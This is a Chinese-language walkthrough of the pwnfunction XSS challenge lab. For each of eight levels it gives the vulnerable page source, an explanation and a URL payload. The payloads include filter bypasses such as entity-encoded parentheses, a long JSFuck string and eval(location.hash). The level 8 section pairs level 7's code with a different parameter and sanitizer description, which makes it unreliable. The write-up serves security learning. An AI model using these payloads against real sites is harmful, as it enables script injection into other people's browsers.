靶场搭建

将文件用clone 下载到ubuntu，

然后进入 cd xss.pwnfunction.com/hugo/ 这个目录下 hugo server --bind 0.0.0.0 --baseURL http://192.168.134.130:1313/启动

然后再本地浏览器进行访问

第一关

源码：

 <body>
     <h2 id="spaghet"></h2>
 </body>
 <script>
     spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
 </script>

给somebody传参，传的参数会被放进<h2>标签里面

payload：

 ?somebody=<img%20src="1"%20onerror="alert(1337)">

第二关

源码：

 <body>
     <h2 id="maname"></h2>
 </body>
 <script>
     let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
     let ma = ""
     eval(`ma = "Ma name ${jeff}"`)
     setTimeout(_ => {
         maname.innerText = ma
     }, 1000)
 </script>

这道题是在给jeff传参，会将参数值放在eval中执行，

这里的eval跟php中的eval作用一致，都会执行（）里面的命令

Payload：

 ?jeff=111"-alert(1337)-"

第三关

源码

 <body>
     <div id="uganda"></div>
 </body>
 <script>
     let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
     wey = wey.replace(/[<>]/g, '')
     uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
 </script>

道题是将wey传进来的参数进行了一个过滤替换，将<>替换为空，放进input标签之中，

因此我们的img、div等标签都不能用了，我们只能够在这个input标签中进行xss，还不能跟用户进行交互，

那就只能使用事件来处理了，事件中有一个onfocus事件是聚焦，autofocus是自动聚焦，

payload：

 ?wey=111"onfocus=alert(1) autofocus="

第四关

源码

 <body>
     <form id="ricardo" method="GET">
         <input name="milos" type="text" class="form-control" placeholder="True" value="True">
     </form>
 </body>
 <script>
     ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
     setTimeout(_ => {
         ricardo.submit()
     }, 2000)
 </script>

传进来的参数进行一个submit提交，那么这个就是用javascript伪协议即可

payload:

 ?ricardo=javascript:alert(1337)

第五关

源码

 <body>
     <h2 id="will"></h2>
 </body>
 <script>
     smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
     smith = smith.replace(/[\(\`\)\\]/g, '')
     will.innerHTML = smith
 </script>

这一关是对传进来的参数进行了过滤替换，将()替换成空，我们不管是标签也好还是伪协议也好都alert都需要用到(),他给过滤了，()被过滤了，我们只能进行编码，在这里我们分析一下具体要使用那种编码呢，如果只是用urlcode编码的话，在浏览器传给代码的时候url凑得编码被解析，进入代码依然是没有编码的状态，js能够解析html实体编码

payload：

 ?markassbrownlee=<img src="1" onerror="alert%26lpar%3B%26%2349%3B%26%2351%3B%26%2351%3B%26%2355%3B%26rpar%3B">

第六关

源码

 <body>
    <h2>1111</h2>
 </body>
 <script>
     balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
     balls = balls.replace(/[A-Za-z0-9]/g, '')
     eval(balls)
 </script>

传进来的参数进行一个过滤替换，它将字母大小写、数字替换成空，这样我们的编码肯定不能够实现了，这看似限制的比较死

这里用到了JSFuck - Write any JavaScript with 6 Characters: []()!+这个网站， JSFuck 代码中大量使用了特殊字符，如 [、]、(、)、+、! 等。这些字符在 URL 中有特殊含义，或者可能与 URL 语法发生冲突。所以我们还需要进行urlcode编码，

payload：

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%5D%2B%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%29

第七关

源码

 <body>
    <h2>1111</h2>
 </body>
 <script>
     mafia = (new URL(location).searchParams.get('mafia') || '1+1')
     mafia = mafia.slice(0, 50)
     mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
     mafia = mafia.replace(/alert/g, '_')
     eval(mafia)
 </script>

这里限制了我们payload的长度不能超过50，且过滤了`’ “ + - ! \ [ ] 所以这关完全限制了上一关的方法

而且他还过滤了 alert 所以我们不能用alert 但是我们还有另外两个可以用confirm()、prompt()这里我们可以直接利用，但是还有其他的办法

payload:

 ?mafia=eval(location.hash.slice(1))#alert(1337)

第八关

源码

<body>
   <h2>1111</h2>
</body>
<script>
    mafia = (new URL(location).searchParams.get('mafia') || '1+1')
    mafia = mafia.slice(0, 50)
    mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
    mafia = mafia.replace(/alert/g, '_')
    eval(mafia)
</script>

这关他用了写一个一个过滤框架，他这个框架我对我们输入的代码进行一个过滤，将危险代码去除，所以我们的危险代码是不起作用的

我们去github上看一下，找一下白名单

/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))

这里测试发现mailto|tel|callto|sms|cid|xmpp|matrix全部都能够触发alert

payload：

 ?boomer=<a id=ok href="tel:alert(1)">
